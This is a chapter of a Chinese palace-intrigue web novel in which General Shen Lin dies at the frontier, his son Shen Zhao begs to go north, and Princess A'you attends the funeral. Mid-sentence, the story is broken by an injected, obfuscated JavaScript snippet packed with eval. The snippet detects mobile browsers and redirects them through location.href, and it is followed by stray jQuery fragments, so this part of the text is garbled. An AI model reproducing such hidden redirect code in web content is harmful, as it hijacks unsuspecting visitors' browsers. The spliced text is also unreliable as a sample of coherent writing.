93. 尽忠

作品:《街隅公主归銮

    秋意初临皇城,宫墙外的梧桐叶尚不及泛黄,八百里加急,传来北部捷报,与之同至的,竟是沈霖重伤不治的噩耗。


    谁也没料到,噩耗传来的那样快。


    沈霖领兵出征已逾三月,于燕河关与阿咄剌一战,大破奚族,驱敌三千里,燕河关失而复得。


    可叹的是,沈霖一时轻敌,陷入敌军埋伏,胸膛中箭。那箭头淬了剧毒,虽军医及时施救解毒,然伤口极深。


    他强撑两日,待边关布防之事皆妥善安置,终究还是没能撑住,吐血昏迷。


    暮色浸透宫墙时,沈昭的袍角散开,轻轻铺陈在青砖上。


    他脊背挺得比朱雀阙前的石柱更直,额角细汗在夕照中凝成琥珀色的光。


    阿幼愁容立在丹墀上,蹙金披帛被秋风卷着掠过她鬓角的碎发,望着那处孤影,久久没有上前。


    沈昭在午门外已跪了一日,只见他形容憔悴,发丝凌乱,双眼满是血丝,却透着决然,他这是在求皇帝开恩,让他去北部,好为父尽孝……


    "奚族狼骑自燕山裂谷倾巢那日,沈将军的玄甲军正踏着狼烟列阵。"前来奏报的斥候喉头滚动,思及当时情形,沉声道:"雕翎箭贯胸而过时,将军反手斩断了箭杆......"


    军医颤抖着剜出带毒箭镞,帐中烛火在腥风里明灭,谁都提着一口气……


    他知道,若不能前往北部,恐怕此生都无法再见沈霖最后一面了。


    “求殿下为臣说情……”沈昭忽以额触地,皇帝不肯见他,他能求的便只有阿幼。


    阿幼看着他眼角猩红,跪在她面前,迎合讨好的求她,她心中难受极了。


    秋风萧瑟,恰时吹起他的衣摆……


    “沈大人请回。”阿幼将喉间酸涩碾作冰凌,九鸾金步摇垂下的东珠扫过苍白的颊,"父皇不会召见你的。"


    今日已然议定,由平威公主李琅嬛奔赴北部,暂替沈霖接管边塞关口。


    程氏一党遭逢大清洗,朝中诸多官位空缺出来。皇帝本就有心趁着这个机会重用沈昭,自是不会轻易应允他离开东都。


    阿幼心里明白,沈昭自己也该是清楚的。


    “臣还记得,昔日殿下为报父仇,全然不顾自身安危,孤身涉险。可如今却……”


    "放肆!"阿幼广袖翻卷如云,染着蔻丹的指尖已掐住他下颌。沈昭被迫仰起的脖颈绷出脆弱的弧线,只能把未出口的话语生生咽下。


    暮色里的宫灯次第亮起,映得沈昭眉间眼尾愈发猩红。


    阿幼寒声道:“你知不知道自己在说什么!此处是御前……”


    雨丝斜穿过廊柱,沾湿了沈昭鸦羽般的睫毛。


    阿幼惊觉指尖触到他温热血脉,倏然松手后退半步。珊瑚护甲划过之处,在他玉白下颌拖出一道胭脂痕。


    "父皇已经差遣太医署中最顶尖的御医前去为武阳侯诊治了,你且耐心等候,武阳侯福泽深厚,定会安然无恙的。"


    她将颤抖的指尖藏进蹙金袖口,看着雨幕中渐显的玄甲卫身影,道:“今日,你先回侯府去。”


    沈昭突然抬手接住坠落的雨滴,水光在他掌心碎成星芒:“下雨了……殿下回宫吧。”


    雨滴落在脸颊上,阿幼才惊觉是下雨了。


    方才她太过紧张,竟是毫无察觉,自她入宫以来,似乎从未有过片刻轻松。


    “沈昭……”她如今所剩之物已然不多,往后只会越来越少,能保住一件是一件。


    宫道上的玉兰被急雨打落,残香混着沈昭衣上沉水香,织成挣不脱的网,困住的不仅他一人……


    沈昭不再看她,仿佛已经决定一意孤行,谁也劝不住。


    “殿下身份金贵,莫让雨水沾湿了衣裙。”


    “你……别这样。”


    “既然殿下帮不了臣,那便请殿下回去吧。”


    此处到底不是个适合长谈的地方,阿幼有心想劝他,却不敢久留,只能先行返回平英殿。


    三更梆子响时,武阳侯府的马车碾过朱雀门积水。阿幼立在滴水檐下,看着素衣妇人将昏厥的沈昭扶上车辕。


    那是武阳侯夫人慕容芷,丈夫垂危,儿子又病倒,偌大的侯府如今便要靠她一人撑着……


    “皇姐近些日子总是闷闷不乐……”


    暮秋枯叶漫天,李璟攥着鎏金帘钩的手顿了顿,望见凉亭中那道寂寥的身影正浸在斜阳里,单薄得像一笺被风揉皱的桃花笺。


    静兰捧着氅衣的手指微微发白,欲言又止道:"许是为着武阳侯......"


    话音未竟便化作叹息,惊散了石青釉盏里袅袅升腾的茶烟。


    李璟站在门前,望着凉亭里坐着的阿幼,眉头紧紧蹙起,连日来发生了太多变故,不止阿幼,就连他也觉得心有余悸。


    程皇后自缢身亡,平林公主被迫远嫁西域和亲,二皇子得了封地,封王后便被逐出东都,且永生不得再踏入东都半步。如此一来,程氏一族再也没有了反击的能力。


    与此同时,平英公主以护国公主的身份,成为朝中一股新兴的势力,继续与太子一方相互抗衡。


    “我实在是不明白,既然沈昭想去北部,父皇为何不许他去呢?”


    他回想连日来朝中发生的事,说道:“前几日,父皇命刑部查抄程氏私盐产时,皇姐分明乐见其成。断了程氏的财路,今后他们便连银子都拿不出来。"


    无权无势,连钱也没有,还能掀得起什么风浪。


    "刑部新查获的漕运案,又牵连三百官吏,都是些贪官污吏,此等大快人心只是,怎么皇姐反倒忧心忡忡?"


    静兰将鎏金暖手炉轻轻搁在汉白玉阑干上,惊醒了睡在石凳边的狸奴。


    她深知祸从口出的道理,她虽然能大抵看出其中缘由,却不敢在七皇子面前胡言。


    便寻了个借口,说道:“沈大人前几日才升了刑部侍郎,刑部事情繁杂,去北部不是一两日便能回来的,许是怕误了国事吧……”


    国事与家事,总归是要有所权衡取舍的


    “再者,公主殿下也并不似小殿下说的那般……”


    李璟突然打断她,稚气未脱的眉眼浸在暮色里:"昨日尚食局送来的杏酪,皇姐只尝了半勺。她最喜杏酪,若不是心里有事,又怎会食不知味?"


    李璟没再继续提沈昭的事,而是问起阿幼,“这几日皇姐睡的怎样?总感觉皇姐的精力越来越差,以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15348795|155417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前还能一起玩蹴鞠,可如今……”


    提起这个,静兰也有些担忧了,自此主子被封为护国公主后,便没睡过一个安稳觉。


    夜里总是辗转难眠,好不容易入睡,却又会被惊醒。


    静兰有好几次夜间起身去看阿幼,却发现她独自一个人,也不点灯烛,蜷缩着身子坐在床头发呆。


    有时她会进去询问,但阿幼的反应很慢,直到她燃起灯烛,阿幼才慢慢回过神来。


    “小殿下要体谅公主呀,如今公主肩上承担的责任如此之重,确实没有太多精力来陪伴小殿下了。”


    “要是我能再快点长大就好了,这样就能帮皇姐和父皇分忧了。”


    “公主和圣上若是知道小殿下这般想,定然会十分欣慰的。”


    话音被突如其来的环佩叮咚撞碎。


    叶心茜红裙裾扫过九曲回廊的莲花砖,鬓间金镶玉步摇缠着几缕青丝:"奴婢听到紫宸殿当值的黄门侍郎......"她忽地咬住下唇,继续道:“他说北部传信,武阳侯怕是要”。


    “砰”的一声,阿幼起身时不经意间碰落了凉亭里石桌上的茶壶,茶壶坠地的刹那,她的心仿佛也一同坠落。


    ……


    不久之后,武阳侯的尸骨被送回了东都,入殓下葬那日,正值秋叶枯黄纷纷飘落之时。


    枯黄的秋叶掺着漫天缟素,凄凉的让人忍不住打颤。


    暮色渐入飞檐,镇魂铃沉响入耳。阿幼素纱裙裾扫过满地凋零的丹枫,惊起灵幡下几缕未烧尽的纸灰,在穿堂风中化作金蝶扑向沈霖的玄漆灵柩。


    她发间未着珠翠,缓步踏入武阳侯府的大门,在沈霖的灵位前再次见到了沈昭。


    沈昭握香的手指蓦地收紧,青烟在他眼前扭曲成诡异的蛇形。


    他望着阿幼以皇室特有的三跪九叩之礼伏在蒲团上,云锦披帛逶迤如白蛟,突然道:“殿下不该来这儿。”


    沈昭穿着一身麻衣,神色显得极为疲惫。他以丧父为由向皇帝请求辞官守孝,然而皇帝却要他夺情起复,仅仅给了他七日的时间来安葬沈霖。


    待七日过后,便要重新回到刑部任职。


    阿幼燃了香,毫不避讳的在沈霖的灵位前拜了拜,起身时腕间翡翠镯撞上鎏金香炉,清脆声响惊得供案前的长明灯倏忽跳动。


    “上已追封侯爷为镇北大将军,配享太庙。侯爷是为天丰死战,我身为天丰的公主,便是跪下给侯爷磕个头都不为过。”


    “事已至此,公主殿下为何又这般惺惺作态?”


    阿幼广袖中的手指掐进掌心旧伤,血腥味混着沉水香在齿间弥漫:"沈侍郎今日的疯话,本公主可以当作没听见。"


    她转身欲离开,只道:“随你怎么想。”


    沈昭冷冷一笑,这笑里还带着三分悲戚,“我怎么想?我替我父抱不平……”


    他仿若发疯一般,霍然起身,站在沈霖的灵位之前,手指着那灵位说道:“你知道他为圣上效命了多少年?你知道他身上曾挨过多少刀?每一刀都是为圣上所受,他权势最盛之时,为了安圣上的心,心甘情愿地交出所有兵权,只做一个无所作为的侯爷,如今用到他了,就全然不顾他的死活了吗?”